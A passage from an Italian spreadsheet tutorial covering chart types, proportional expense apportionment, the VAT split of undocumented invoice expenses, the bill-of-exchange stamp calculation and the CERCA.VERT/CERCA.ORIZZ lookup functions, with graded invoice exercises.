uomini	95	169
donne	100	169

Più serie di valori possono servire per distinguere le componenti di una somma di valori. In tal caso, la rappresentazione a istogramma può essere convenientemente a pila, ovvero a barre unite assieme:

	prima	dopo
bambini	123	136
bambine	150	263
uomini	95	169
donne	100	169

Infine, quando si addice la rappresentazione a pila, può darsi che non interessi sapere il valore complessivo assoluto, ma la percentuale delle varie componenti rispetto al totale. In questo caso, le barre impilate hanno sempre la stessa altezza, mentre si evidenzia il rapporto tra i componenti all'interno di ciascuna pila:

	prima	dopo
bambini	123	136
bambine	150	263
uomini	95	169
donne	100	169

122.14.6 Grafici a torta

I diagrammi a torta, o aerogrammi, consentono di rappresentare **una sola serie di valori**, in forma graficamente percentuale. Pertanto, se si indicano più serie di valori, il risultato è che le serie successive alla prima vengono semplicemente ignorate.

bambini	123
bambine	150
uomini	95
donne	100

Anche la torta può essere rappresentata in forma tridimensionale, per aumentarne l'effetto grafico, ma sempre senza aggiungere informazioni alla rappresentazione:

Per rappresentare i valori, a fianco di ogni fetta, occorre intervenire espressamente, dopo la creazione del grafico, attraverso la voce `Proprietà oggetto`:

Bordo | Area del grafico | Trasparenza | Caratteri | Effetto carattere | **Didascalia dati** | Opzioni

☑ Mostra il valore come numero

Formato numero...

☐ Mostra il valore come percentuale

Formato percentuale

☐ Mostra categoria

☐ Mostra chiave della legenda

Separatore Spazio

Disposizione Miglior adattamento

OK | Annulla | ? | Ripristina

123
100
95
150

bambini
bambine
uomini
donne

Naturalmente, con i grafici a torta, i valori si esprimono bene anche in forma percentuale, intervenendo nello stesso modo già descritto:

122.14.7 Grafici lineari

I grafici lineari si prestano alla rappresentazione di valori abbinati a dati nell'asse ***x*** che si trovano in un certo ordine, secondo una progressione uniforme. Per esempio, l'asse ***x*** potrebbe rappresentare dei valori temporali, progressivi, a intervalli regolari (giorni, settimane, mesi, anni, ecc.). Se i dati dell'asse ***x*** non hanno queste caratteristiche, il grafico lineare non offre delle informazioni utili.

produzione			
giorno	reparto A	reparto B	totale dei reparti
lun	111	70	181
mar	120	75	195
mer	100	67	167
gio	105	73	178
ven	115	69	184
sab	95	61	156
totali	**646**	**415**	**1061**

Il grafico lineare tipico, si ottiene collegando i punti attraverso dei segmenti, ma potrebbe essere più adatta una curva che interpola questi punti, smussando gli angoli:

produzione			
giorno	reparto A	reparto B	totale dei reparti
lun	111	70	181
mar	120	75	195
mer	100	67	167
gio	105	73	178
ven	115	69	184
sab	95	61	156
totali	**646**	**415**	**1061**

122.14.8 Grafici XY

Quando si vuole produrre un grafico lineare, per il quale i dati dell'asse ***x*** sono numerici, ma non sono già organizzati a intervalli regolari, conviene utilizzare il grafico «XY», per il quale i dati dell'asse ***x*** possono anche essere riordinati in modo automatico.

produzione			
giorno	reparto A	reparto B	totale dei reparti
lun	111	70	181
mar	120	75	195
mer	100	67	167
gio	105	73	178
ven	115	69	184
sab	95	61	156
totali	**646**	**415**	**1061**

La figura precedente mostra un grafico XY, ottenuto partendo dalla selezione dei dati visibili sulla sinistra, dove però la prima riga si usa per la didascalia, ma la prima colonna no, perché fornisce i dati per scandire l'asse ***x***: pur apparendo semplicemente dei giorni della settimana, si tratta invece di date vere e proprie, ovvero di informazioni numeriche. Si può osservare, nella figura successiva, che se si cambia l'ordine delle righe, il grafico mostra gli elementi dell'asse ***x*** nello stesso ordine, ma collega i punti secondo la sequenza della serie dei dati:

giorno	reparto A	reparto B
lun	111	70
ven	115	69
mer	100	67
gio	105	73
mar	120	75
sab	95	61

Per evitare questo, occorre richiedere espressamente il riordino dei dati dell'asse x:

Passi

1. Tipo di grafico
2. Area dati
3. Serie di dati
4. Elementi del grafico

Selezionate un tipo di grafico

Colonna
Barra
Torta
Area del grafico
Linea
XY (Dispersione)
Rete
Azioni
Colonna e linea

Punti e linee

☐ Linee smorzate — Proprietà...
☑ Ordina secondo i valori X

? — <<Indietro — Avanti >> — Fine — Annulla

giorno	reparto A	reparto B
lun	111	70
ven	115	69
mer	100	67
gio	105	73
mar	120	75
sab	95	61

Nella figura successiva si può vedere che se i valori dell'asse x non sono equidistanti, l'asse viene rappresentato in modo proporzionalmente corretto. Nei dati manca il giovedì, ma questo

è comunque previsto nell'asse ***x***.

giorno	reparto A	reparto B
lun	111	70
mar	120	75
mer	100	67
ven	115	69
sab	95	61

140
120
100
80
60
40
20
0
dom lun mar mer gio ven sab dom
reparto A
reparto B

122.15 Ripartizione

Si presenta frequentemente il problema della ripartizione di una spesa, secondo una suddivisione già esistente di un altro valore, il quale però non assume la forma di percentuale. Per esempio, una certa spesa può dover essere ripartita in base ai millesimi tra i condomini, ma non è detto che i condomini coinvolti siano tutti.

Per ripartire un valore, lo si divide per la somma dei valori che definiscono le proporzioni di ripartizione, per poi moltiplicare il risultato di questa divisione per gli stessi valori.

122.15.1 Esercizio

Si realizzi uno schema come quello successivo, nel quale si annotano i millesimi di competenza delle scale comuni e dell'illuminazione delle parti comuni, di un piccolo condominio, per poi procedere alla suddivisione delle spese di pulizia scale e di illuminazione.

	A	B	C	D	E	F
1		Scale interne	Illuminazione parti comuni		ripartizione spese di pulizia scale	ripartizione spese di illuminazione
2	Tizio	200	150		€ 250,00	€ 352,50
3	Caio	50	100		€ 62,50	€ 235,00
4	Sempronio	200	150		€ 250,00	€ 352,50
5	Mevio	200	150		€ 250,00	€ 352,50
6	Filano	50	100		€ 62,50	€ 235,00
7	Martino	50	100		€ 62,50	€ 235,00
8	Calpurnio	250	250		€ 312,50	€ 587,50
9		1000	1000		€ 1.250,00	€ 2.350,00

Nello schema, i valori della zona E2:F8 vanno calcolati partendo dalle spese totali annotate nelle celle E9 e F9.

122.15.2 Esercizio

Si estenda lo schema dell'esercizio precedente, per ripartire una spesa che riguarda la gestione delle scale, ma soltanto per gli inquilini Tizio, Caio e Sempronio.

	A	B	C	D	E	F	G
1		Scale interne	Illuminazione parti comuni		ripartizione spese di pulizia scale	ripartizione spese di illuminazione	Spese per le piante di Tizio, Caio e Sempronio
2	Tizio	200	150		€ 250,00	€ 352,50	€ 111,11
3	Caio	50	100		€ 62,50	€ 235,00	€ 27,78
4	Sempronio	200	150		€ 250,00	€ 352,50	€ 111,11
5	Mevio	200	150		€ 250,00	€ 352,50	
6	Filano	50	100		€ 62,50	€ 235,00	
7	Martino	50	100		€ 62,50	€ 235,00	
8	Calpurnio	250	250		€ 312,50	€ 587,50	
9		1000	1000		€ 1.250,00	€ 2.350,00	€ 250,00

122.15.3 Esercizio: ripartizione delle spese non documentate

Nella compilazione di una fattura ci si può imbattere in spese da addebitare, (come quelle per il trasporto e per gli imballaggi a perdere), soggette all'imposizione dell'IVA. Tuttavia, l'aliquota da applicare a tali spese dipende da quella usata nel resto della fattura, ma in presenza di più aliquote, occorre procedere a una ripartizione delle spese stesse.

Pertanto, il calcolo dell'IVA sulle spese non documentate richiede la suddivisione delle spese nella stessa proporzione degli imponibili relativi a quella porzione della fattura che costituisce la cosiddetta «operazione principale». Una volta suddivise le spese nella stessa proporzione, si applicano le varie aliquote IVA e ciò che si ottiene va sommato assieme per determinare l'IVA complessiva.

Si realizzi uno schema come quello successivo, dove i valori che appaiono nella zona C4:E6 sono calcolati, sulla base del resto delle informazioni esistenti.

	A	B	C	D	E
1	aliquote	operazione principale		spese non documentate	
2				€ 530,00	
3		imponibile	IVA	imponibile	IVA
4	4%	€ 1.200,00	€ 48,00	€ 73,95	€ 2,96
5	10%	€ 2.400,00	€ 240,00	€ 147,91	€ 14,80
6	20%	€ 5.000,00	€ 1.000,00	€ 308,14	€ 61,63

122.15.4 Verifica

Si riapra il file '`fattura-06.ods`' creato nell'esercitazione 122.13.8 e lo si salvi con il nome '`fattura-07.ods`'.

Il file '`fattura-07.ods`' va modificato inserendo i dati evidenziati da delle frecce sovraimposte sulla figura (ma le frecce non vanno disegnate). In modo particolare: vanno aggiunte le spese di trasporto e di imballaggio, non documentate; va calcolato il totale delle spese non

documentate nella cella I32; vanno ripartite le spese non documentate in base agli imponibili già esistenti, utilizzando per questo la zona C38:C40; va calcolata l'IVA sulle spese non documentate ripartite, nella zona D38:D40; va sommata tutta l'IVA nella cella I33.

Al termine delle modifiche, dopo avere salvato il nuovo lavoro, si deve procedere a produrre due stampe: una «normale» e un'altra in cui si visualizza la griglia delle celle, l'intestazione di riga e di colonna, e le formule.

Figura 122.203. Stampa «normale». La scritta sovraimposta, contenente il nome del file, non deve apparire, così come non devono apparire le frecce che indicano le celle in cui occorre intervenire per le modifiche.

fattura-07.ods

codice cliente:

CF o PI:

Indirizzo di destinazione

data fattura	fattura n.
31 mar 2009	123

data e orario consegna o inizio trasporto

causale del trasporto

aspetto esteriore dei beni | n. colli

ordine		documento di trasporto		porto	trasporto a mezzo del
numero	data	numero	data		
150	1 mar 2009	11	15 mar 2009		

spese di trasporto	spese di imballo	pagamento
200,00	100,00	rimessa diretta 30 giorni d.f.

articolo	descrizione	quantità	sconto	sconto	prezzo	importo	IVA
aaa	Merce Alfa	123,00	3,00%	2,00%	1,57	183,57	4%
bbb	Merce Bravo	234,00	5,00%		2,89	642,45	4%
ccc	Merce Charlie	17,00	5,70%	1,00%	12,34	195,84	10%
ddd	Merce Delta	11,50			10,00	115,00	10%
eee	Merce Eco	12,30		3,00%	11,50	137,21	20%
fff	Merce Foxtrot	100,00	2,00%	3,00%	1,89	179,66	20%
ggg	Merce Golf	321,00		7,00%	2,00	597,06	20%
hhh	Merce Hotel	23,00	3,00%		5,00	111,55	20%
				sconto sul totale:	5,00%	-108,11	

riepilogo IVA				
aliquota	imponibile	IVA	totale spese non documentate	300,00
4%	784,72	31,39	totale IVA	293,14
10%	295,30	29,53	spese documentate escluse dalla base imponibile	
20%	974,21	194,85	interessi	
			cauzioni	
aliquota	imponibile	IVA	bolli	
4%	114,60	4,59	scadenza fattura	
10%	43,13	4,32	30 apr 2009	
20%	142,27	28,46		

2 647,37 — totale fattura

impresa incaricata del trasporto | annotazioni

firma del conducente o del vettore | firma del destinatario

contributo CONAI assolto ove dovuto

Figura 122.204. Stampa con la griglia e le intestazioni di riga e di colonna. La scritta sovraimposta, contenente il nome del file, non deve apparire, così come non devono apparire le frecce che indicano le celle in cui occorre intervenire per le modifiche. Nella stampa che si consegna, devono apparire anche le formule, eventualmente rimpicciolite se necessario.

	A	B	C	D	E	F	G	H	I	J	K
1							codice cliente:				
2											
3											
4											
5							CF o PI:				
6									Indirizzo di destinazione		
7											
8											
9		data fattura		fattura n.							
10		31 mar 2009		123							
11		data e orario consegna o inizio trasporto									
12											
13		causale del trasporto									
14											
15		aspetto esteriore dei beni			n. colli						
16	--										--
17		ordine		documento di trasporto			porto		trasporto a mezzo del		
18		numero	data	numero	data						
19		150	1 mar 2009	11	15 mar 2009						
20		spese di trasporto			spese di imballo				pagamento		
21		200,00			100,00				rimessa diretta 30 giorni d.f.		
22		articolo	descrizione		quantità	sconto	sconto	prezzo	importo	IVA	
23		aaa	Merce Alfa		123,00	3,00%	2,00%	1,57	183,57	4%	
24		bbb	Merce Bravo		234,00	5,00%		2,89	642,45	4%	
25		ccc	Merce Charlie		17,00	5,70%	1,00%	12,34	195,84	10%	
26		ddd	Merce Delta		11,50			10,00	115,00	10%	
27		eee	Merce Eco		12,30		3,00%	11,50	137,21	20%	
28		fff	Merce Foxtrot		100,00	2,00%	3,00%	1,89	179,66	20%	
29		ggg	Merce Golf		321,00		7,00%	2,00	597,06	20%	
30		hhh	Merce Hotel		23,00	3,00%		5,00	111,55	20%	
31							sconto sul totale:	5,00%	-108,11		
32		riepilogo IVA						totale spese non documentate	300,00		
33		aliquota	imponibile	IVA				totale IVA	293,14		
34	--	4%	784,72		31,39			spese documentate escluse dalla base imponibile			--
35		10%	295,30		29,53			interessi			
36		20%	974,21		194,85			cauzioni			
37		aliquota	imponibile	IVA				bolli			
38		4%	114,60		4,59	scadenza fattura		2 647,37		totale fattura	
39		10%	43,13		4,32	30 apr 2009					
40		20%	142,27		28,46						
41		impresa incaricata del trasporto				annotazioni					
42											
43											
44											
45		firma del conducente o del vettore					firma del destinatario				
46											
47		contributo CONAI assolto ove dovuto									

122.16 Calcolo del bollo della cambiale

Nei calcoli che riguardano le fattura, può porsi il problema di calcolare il bollo sulla cambiale, ammesso che si preveda un pagamento di questo tipo. Il problema consiste nel fatto che il bollo si calcola percentualmente sul valore nominale della cambiale, ma quando si va a calcolare il totale della fattura, si vuole includere anche il valore del bollo; in altri termini, si deve calcolare un bollo su un totale che deve ancora essere formato.

122.16.1 Percentuale del bollo

Il bollo sulla cambiale è normalmente del 12 per mille, pari al 1,2 %. Ma questo bollo riguarda il valore nominale della tratta, ovvero il valore del totale fattura. Per poter addebitare il 1,2 %, occorre determinare una percentuale corrispondente da applicare al totale fattura, prima dell'addebito del bollo stesso.

Nelle equazioni seguenti, si utilizzano alcune lettere: ***T*** per indicare il totale finale della fattura (corrispondente al valore nominale della cambiale); ***t*** per indicare il totale della fattura prima dell'addebito del bollo; ***b*** per la percentuale del bollo sul totale fattura (evidentemente corrisponde a 1,2 %); ***B*** per indicare la percentuale da applicare al totale che si ottiene prima dell'addebito del bollo.

$$T = t \cdot B + t = t \cdot (1 + B)$$

$$t = T - T \cdot b = T \cdot (1 - b) = t \cdot (1 + B) \cdot (1 - b)$$

$$t = t \cdot (1 + B) \cdot (1 - b)$$

$$1 = (1 + B) \cdot (1 - b)$$

$$\frac{1}{(1 - b)} = (1 + B)$$

$$\frac{1}{(1 - b)} - 1 = B$$

Pertanto, la percentuale che si va cercando (***B***) si ottiene come: '`(1/(1-1,2%)-1)`'. Volendo fare il calcolo, si otterrebbe 1,2145748 %, ma i decimali sono in quantità maggiore.

Oltre a questo problema, va considerato il fatto che il bollo, formalmente, deve essere approssimato per eccesso al centesimo; tuttavia, è possibile che non ci siano bolli con un taglio inferiore ai cinque centesimi.

122.16.2 Esercizio

Si realizzi uno schema come quello successivo, in cui si procede al calcolo del bollo, partendo da un valore al quale poi il bollo stesso viene sommato. Nell'intestazione delle colonne si usano le stesse lettere che sono servite per le equazioni della sezione precedente.

I valori delle colonne A e B sono dati; nella colonna C si metta la formula per determinare la percentuale del bollo, sapendo che questo deve essere poi incorporato nel totale, che appare nella colonna D. Nella colonna E viene ricalcolato il bollo, partendo dal totale della colonna D, per verificare la correttezza del risultato.

	A	B	C	D	E
1	t	b	B	T	bollo
2	€ 1.000,00	1,20%	1,21457%	€ 1.012,15	€ 12,15
3	€ 1.500,00	1,20%	1,21457%	€ 1.518,22	€ 18,22
4	€ 2.000,00	1,20%	1,21457%	€ 2.024,29	€ 24,29

122.16.3 Esercizio

Si modifichi lo schema dell'esercizio precedente, arrotondando i calcoli del bollo, in modo che il risultato sia dato per eccesso al centesimo.

	A	B	C	D	E
1	t	b	B	T	bollo
2	€ 1.000,00	1,20%	1,21457%	€ 1.012,15	€ 12,15
3	€ 1.500,00	1,20%	1,21457%	€ 1.518,22	€ 18,22
4	€ 2.000,00	1,20%	1,21457%	€ 2.024,30	€ 24,30

122.16.4 Esercizio

Si modifichi lo schema dell'esercizio precedente, arrotondando i calcoli del bollo, in modo che il risultato sia dato per eccesso ai cinque centesimi.

	A	B	C	D	E
1	t	b	B	T	bollo
2	€ 1.000,00	1,20%	1,21457%	€ 1.012,15	€ 12,15
3	€ 1.500,00	1,20%	1,21457%	€ 1.518,25	€ 18,25
4	€ 2.000,00	1,20%	1,21457%	€ 2.024,30	€ 24,30

122.16.5 Verifica

Si riapra il file '`fattura-07.ods`' creato nell'esercitazione 122.15.4 e lo si salvi con il nome '`fattura-08.ods`'.

Il file '`fattura-08.ods`' va modificato inserendo i dati evidenziati da delle frecce sovraimposte sulla figura (ma le frecce non vanno disegnate). Si tratta di modificare il tipo di pagamento e di calcolare il bollo sulla cambiale tratta, da addebitare in fattura. Il bollo in questione viene calcolato arrotondandolo ai cinque centesimi per eccesso.

Al termine delle modifiche, dopo avere salvato il nuovo lavoro, si deve procedere a produrre due stampe: una «normale» e un'altra in cui si visualizza la griglia delle celle, l'intestazione di riga e di colonna, e le formule.

Figura 122.214. Stampa «normale». La scritta sovraimposta, contenente il nome del file, non deve apparire, così come non devono apparire le frecce che indicano le celle in cui occorre intervenire per le modifiche.

fattura-08.ods

codice cliente:

CF o PI:

Indirizzo di destinazione

data fattura	fattura n.
31 mar 2009	123

data e orario consegna o inizio trasporto

causale del trasporto

aspetto esteriore dei beni		n. colli
0,00		

ordine		documento di trasporto		porto		trasporto a mezzo del
numero	data	numero	data		0,00	
150	1 mar 2009	111	15 mar 2009			

spese di trasporto	spese di imballo	pagamento
200,00	100,00	tratta 30 giorni d.f.

articolo	descrizione	quantità	sconto	sconto	prezzo	importo	IVA
aaa	Merce Alfa	123,00	3,00%	2,00%	1,57	183,57	4%
bbb	Merce Bravo	234,00	5,00%		2,89	642,45	4%
ccc	Merce Charlie	17,00	5,70%	1,00%	12,34	195,84	10%
ddd	Merce Delta	11,50			10,00	115,00	10%
eee	Merce Eco	12,30		3,00%	11,50	137,21	20%
fff	Merce Foxtrot	100,00	2,00%	3,00%	1,89	179,66	20%
ggg	Merce Golf	321,00		7,00%	2,00	597,06	20%
hhh	Merce Hotel	23,00	3,00%		5,00	111,55	20%
				sconto sul totale:	5,00%	-108,11	

riepilogo IVA				
aliquota	imponibile	IVA	totale spese non documentate	300,00
			totale IVA	293,14
4%	784,72	31,39	spese documentate escluse dalla base imponibile	
10%	295,30	29,53	interessi	
20%	974,21	194,85	cauzioni	
aliquota	imponibile	IVA	bolli	32,20
4%	114,60	4,59	scadenza fattura	
10%	43,13	4,32	30 apr 2009	
20%	142,27	28,46		

2 679,57 totale fattura

impresa incaricata del trasporto

annotazioni

firma del conducente o del vettore

firma del destinatario

contributo CONAI assolto ove dovuto

Figura 122.215. Stampa con la griglia e le intestazioni di riga e di colonna. La scritta sovraimposta, contenente il nome del file, non deve apparire, così come non devono apparire le frecce che indicano le celle in cui occorre intervenire per le modifiche. Nella stampa che si consegna, devono apparire anche le formule, eventualmente rimpicciolite se necessario.

fattura-08.ods

	A	B	C	D	E	F	G	H	I	J	K
1							codice cliente:				
2											
3											
4											
5							CF o PI:				
6										Indirizzo di destinazione	
7											
8											
9		data fattura		fattura n.							
10		31 mar 2009		123							
11		data e orario consegna o inizio trasporto									
12											
13		causale del trasporto									
14											
15		aspetto esteriore dei beni			n. colli						
16	--	0,00									--
17		ordine		documento di trasporto			porto		trasporto a mezzo del		
18		numero	data	numero	data		0,00				
19		150	1 mar 2009	111	15 mar 2009						
20		spese di trasporto			spese di imballo				pagamento		
21		200,00			100,00				tratta 30 giorni d.f.		
22		articolo	descrizione		quantità	sconto	sconto	prezzo	importo	IVA	
23		aaa	Merce Alfa		123,00	3,00%	2,00%	1,57	183,57	4%	
24		bbb	Merce Bravo		234,00	5,00%		2,89	642,45	4%	
25		ccc	Merce Charlie		17,00	5,70%	1,00%	12,34	195,84	10%	
26		ddd	Merce Delta		11,50			10,00	115,00	10%	
27		eee	Merce Eco		12,30		3,00%	11,50	137,21	20%	
28		fff	Merce Foxtrot		100,00	2,00%	3,00%	1,89	179,66	20%	
29		ggg	Merce Golf		321,00		7,00%	2,00	597,06	20%	
30		hhh	Merce Hotel		23,00	3,00%		5,00	111,55	20%	
31							sconto sul totale:	5,00%	-108,11		
32		riepilogo IVA						totale spese non documentate	300,00		
33		aliquota	imponibile	IVA				totale IVA	293,14		
34	--	4%	784,72		31,39			spese documentate escluse dalla base imponibile			--
35		10%	295,30		29,53			interessi			
36		20%	974,21		194,85			cauzioni			
37		aliquota	imponibile	IVA				bolli	32,20		
38		4%	114,60		4,59	scadenza fattura			2 679,57	totale fattura	
39		10%	43,13		4,32	30 apr 2009					
40		20%	142,27		28,46						
41		impresa incaricata del trasporto				annotazioni					
42											
43											
44											
45		firma del conducente o del vettore					firma del destinatario				
46											
47		contributo CONAI assolto ove dovuto									

122.17 Funzioni di ricerca

Il foglio elettronico include generalmente della funzionalità che invadono il campo delle basi di dati. Sotto questo aspetto, le funzioni che più si rivelano utili sono ***CERCA.VERT()*** ed eventualmente ***CERCA.ORIZZ()***, con le quali è possibile ottenere il valore corrispondente a una certa cella, contenuta in una tabella (organizzata per righe o per colonne), sulla base di un criterio di ricerca, ovvero la corrispondenza con un'altra cella della riga o della colonna.

122.17.1 Funzione «CERCA.VERT()»

La funzione ***CERCA.VERT()*** consente di eseguire una ricerca, all'interno di una zona di celle, sulla base della corrispondenza con il contenuto della prima colonna di tale zona, per estrarre il contenuto di una cella, sulla stessa riga, alla colonna relativa stabilita. Si osservi il disegno successivo:

=CERCA.VERT("fff" ; B2:D6 ; 2 ; 0)

1 2 3

	A	B	C	D	E
1					
2		aaa	111	aa11	
3		bbb	222	22ee	
4		fff	121	55tt	
5		ccc	323	77tt	
6		ddd	333	ee44	

chiave di ricerca

risultato

La zona all'interno della quale si svolge la ricerca è B2:D6. Di questa zona si cerca la riga per la quale la prima cella contiene la stringa '**`fff`**'. Nella riga trovata, si cerca la seconda cella. Pertanto, in questo caso, il risultato prodotto dalla funzione è 121.

`CERCA.VERT(`***valore_cercato ; zona_di_ricerca ; indice_della_zona ;*** `0` | `1)`

La funzione richiede come primo argomento il valore cercato nella prima colonna relativa della zona di ricerca, la quale invece occupa il secondo argomento. Il terzo argomento è l'indice relativo della zona, il quale rappresenta la ***n***-esima colonna relativa, a partire da uno. L'ultimo argomento è zero se le righe della zona specificata non sono ordinate, altrimenti, uno indica che la zona ha le righe ordinate in base alla prima colonna relativa (generalmente si usa la funzione con l'ultimo argomento a zero).

122.17.2 Esercizio

Si crei uno schema come quello successivo, dove le celle B2 e B3 siano ottenute con l'ausilio della funzione ***CERCA.VERT()***, per mostrare rispettivamente il cognome e il nome di una persona, in base al codice inserito nella cella B1.

	A	B	C	D	E
1	codice:	3			
2	cognome:	Semproni	**codice**	**nome**	**cognome**
3	nome:	Sempronio	1	Tizio	Tizi
4			2	Caio	Cai
5			3	Sempronio	Semproni
6			4	Mevio	Mevi
7			5	Filano	Filani

122.17.3 Funzione «CERCA.ORIZZ()»

La funzione ***CERCA.ORIZZ()*** è analoga a ***CERCA.VERT()***, con la differenza che la zona viene scandita a colonne, cercando la corrispondenza con la prima riga.

`CERCA.ORIZZ(`***valore_cercato*** ; ***zona_di_ricerca*** ; ***indice_della_zona*** ; `0` | `1)`

La funzione richiede come primo argomento il valore cercato nella prima riga relativa della zona di ricerca, la quale invece occupa il secondo argomento. Il terzo argomento è l'indice relativo della zona, il quale rappresenta la ***n***-esima riga relativa, a partire da uno. L'ultimo argomento è zero se le righe della zona specificata non sono ordinate, altrimenti, uno indica che la zona ha le righe ordinate in base alla prima colonna relativa (generalmente si usa la funzione con l'ultimo argomento a zero).

122.17.4 Esercizio

Si crei uno schema come quello successivo, dove le celle B2 e B3 siano ottenute con l'ausilio della funzione ***CERCA.ORIZZ()***, per ottenere rispettivamente il cognome e il nome di una persona, in base al codice inserito nella cella B1.

	A	B	C	D	E	F
1	codice:	3				
2	cognome:	Semproni				
3	nome:	Sempronio				
4						
5	codice	1	2	3	4	5
6	nome	Tizio	Caio	Sempronio	Mevio	Filano
7	cognome	Tizi	Cai	Semproni	Mevi	Filani

122.17.5 Verifica

Si riapra il file '`fattura-08.ods`' creato nell'esercitazione 122.16.5 e lo si salvi con il nome '`fattura-09.ods`'. Il file '`fattura-09.ods`' va modificato secondo le istruzioni seguenti.

1. Va attribuito il nome '**`fattura`**' alla scheda (foglio) in cui si trova la fattura delle verifiche precedenti.
2. Va utilizzata una scheda aggiuntiva, denominata '**`articoli`**', nella quale si deve inserire lo schema successivo:

	A	B	C	D	E
1	codice articolo	denominazione	prezzo unitario di vendita	IVA	sconto
2	0				
3	1	telo copri monitor	€ 5,00	20,00%	5,00%
4	2	porta CD/DVD da viaggio	€ 5,00	20,00%	
5	3	porta CD/DVD a colonna	€ 10,00	20,00%	
6	4	luce per notebook usb	€ 10,00	20,00%	
7	5	adattatore da AT a PS/2	€ 3,00	20,00%	3,00%
8	6	adattatore da PS/2 a AT	€ 3,00	20,00%	
9	7	borsa per notebook	€ 20,00	20,00%	
10	8	zaino per notebook	€ 20,00	20,00%	
11	9	miele millefiori 1 kg	€ 5,00	10,00%	
12	10	miele di acacia 1 kg	€ 5,00	10,00%	7,00%
13	11	cera d'api grezza 1 kg	€ 5,00	10,00%	10,00%
14	12	pappa reale pura 10 g	€ 20,00	20,00%	2,00%
15	13	propoli 20 g	€ 10,00	20,00%	2,00%

3. Nella scheda degli articoli, va definito espressamente il tipo di rappresentazione dei dati che appaiono nella colonna A: deve trattarsi del tipo «testo» (*`Formato`*, *`Celle`*, *`Numeri`*, *`Testo`*).
4. Nella scheda della fattura, la zona B23:B30 va definita espressamente di tipo testo, esattamente come fatto nel punto precedente, per la colonna dei codici.
5. Nella scheda della fattura, si devono modificare le zone C23:C30, F23:F30, H23:H30; J23:J30, utilizzando la funzione ***CERCA.VERT()***, per trarre i dati corrispondenti dalla scheda degli articoli, sulla base del codice articolo selezionato.

Al termine delle modifiche, dopo avere salvato il nuovo lavoro, si deve procedere a produrre due stampe della sola scheda della fattura: una «normale» e un'altra in cui si visualizza la griglia delle celle, l'intestazione di riga e di colonna, e le formule.

Figura 122.220. Stampa «normale». La scritta sovraimposta, contenente il nome del file, non deve apparire, così come non devono apparire le frecce che indicano le zone in cui occorre intervenire per le modifiche.

fattura-09.ods

codice cliente:

CF o PI:

Indirizzo di destinazione

data fattura	fattura n.
31 mar 2009	123
data e orario consegna o inizio trasporto	
causale del trasporto	
aspetto esteriore dei beni	n. colli
0,00	

ordine		documento di trasporto		porto	trasporto a mezzo del
numero	data	numero	data	0,00	
150	1 mar 2009	111	15 mar 2009		

spese di trasporto	spese imballo	pagamento
200,00	,00	tratta 30 giorni d.f.

articolo	descrizione	quantità	sconto	sconto	prezzo	importo	IVA
1	telo copri monitor	123,00	5,00%	2,00%	5,00	572,57	20%
3	porta CD/DVD a colonna	234,00			10,00	2 340,00	20%
5	adattatore da AT a PS/2	17,00	3,00%	1,00%	3,00	48,98	20%
7	borsa per notebook	11,50			20,00	230,00	20%
9	miele millefiori 1 kg	12,30		3,00%	5,00	59,66	10%
11	cera d'api grezza 1 kg	100,00	10,00%	3,00%	5,00	436,50	10%
12	pappa reale pura 10 g	321,00	2,00%	7,00%	20,00	5 851,19	20%
13	propoli 20 g	23,00	2,00%		10,00	225,40	20%
				sconto sul totale:	5,00%	-488,22	

riepilogo IVA				
aliquota	imponibile	IVA	totale spese non documentate	300,00
			totale IVA	1 866,58
4%	0,00	0,00	spese documentate escluse dalla base imponibile	
10%	471,35	47,14	interessi	
20%	8 804,73	1 760,95	cauzioni	
aliquota	imponibile	IVA	bolli	139,00
4%	0,00	0,00	scadenza fattura	11 581,66 totale fattura
10%	15,24	1,53	30 apr 2009	
20%	284,76	56,96		

impresa incaricata del trasporto

annotazioni

firma del conducente o del vettore

firma del destinatario

contributo CONAI assolto ove dovuto

Figura 122.221. Stampa con la griglia e le intestazioni di riga e di colonna. La scritta sovraimposta, contenente il nome del file, non deve apparire, così come non devono apparire le frecce che indicano le zone in cui occorre intervenire per le modifiche. Nella stampa che si consegna, devono apparire anche le formule, eventualmente rimpicciolite se necessario.

	A	B	C	D	E	F	G	H	I	J	K
1							codice cliente:				
2											
3											
4											
5							CF o PI:				
6										Indirizzo di destinazione	
7											
8											
9		data fattura		fattura n.							
10		31 mar 2009		123							
11		data e orario consegna o inizio trasporto									
12											
13		causale del trasporto									
14											
15		aspetto esteriore dei beni			n. colli						
16	--	0,00									--
17		ordine		documento di trasporto			porto		trasporto a mezzo del		
18		numero	data	numero	data		0,00				
19		150	1 mar 2009	111	15 mar 2009						
20		spese di trasporto			spese imballo				pagamento		
21		200,[illegible]			[illegible],00				tratta 30 giorni d.[illegible]		
22		articolo	descrizione		quantità	sconto	sconto	prezzo	importo	IVA	
23		1	telo copri monitor		123,00	5,00%	2,00%	5,00	572,57	20%	
24		3	porta CD/DVD a colonna		234,00			10,00	2 340,00	20%	
25		5	adattatore da AT a PS/2		17,00	3,00%	1,00%	3,00	48,98	20%	
26		7	borsa per notebook		11,50			20,00	230,00	20%	
27		9	miele millefiori 1 kg		12,30		3,00%	5,00	59,66	10%	
28		11	cera d'api grezza 1 kg		100,00	10,00%	3,00%	5,00	436,50	10%	
29		12	pappa reale pura 10 g		321,00	2,00%	7,00%	20,00	5 851,19	20%	
30		13	propoli 20 g		23,00	2,00%		10,00	225,40	20%	
31							sconto sul totale:	5,00%	-488,22		
32		riepilogo IVA				totale spese non documentate			300,00		
33		aliquota	imponibile	IVA				totale IVA	1 866,58		
34	--	4%	0,00		0,00	spese documentate escluse dalla base imponibile					--
35		10%	471,35		47,14			interessi			
36		20%	8 804,73		1 760,95			cauzioni			
37		aliquota	imponibile	IVA				bolli	139,00		
38		4%	0,00		0,00	scadenza fattura		11 581,66		totale fattura	
39		10%	15,24		1,53	30 apr 2009					
40		20%	284,76		56,96						
41		impresa incaricata del trasporto						annotazioni			
42											
43											
44											
45		firma del conducente o del vettore					firma del destinatario				
46											
47		contributo CONAI assolto ove dovuto									

122.17.6 Verifica

Si riapra il file '`fattura-09.ods`' creato nell'esercitazione 122.17.5 e lo si salvi con il nome '`fattura-10.ods`'. Il file '`fattura-10.ods`' va modificato introducendo la scheda delle condizioni di pagamento, denominata '**`pagamenti`**', con la quale si vogliono gestire tutti i campi evidenziati nelle figure successive sulla scheda della fattura.

Figura 122.222. Scheda '**`pagamenti`**'. Si osservi che la prima colonna deve essere di tipo testo: *`Formato`*, *`Celle`*, *`Numeri`*, *`Testo`*.

	A	B	C	D	E
1	codice pagamento	descrizione	tipo pagamento	scadenza	sconto
2	0				
3	1	vista fattura	4	0	5,00%
4	2				
5	3	rimessa diretta 30 g.d.f.	3	30	2,00%
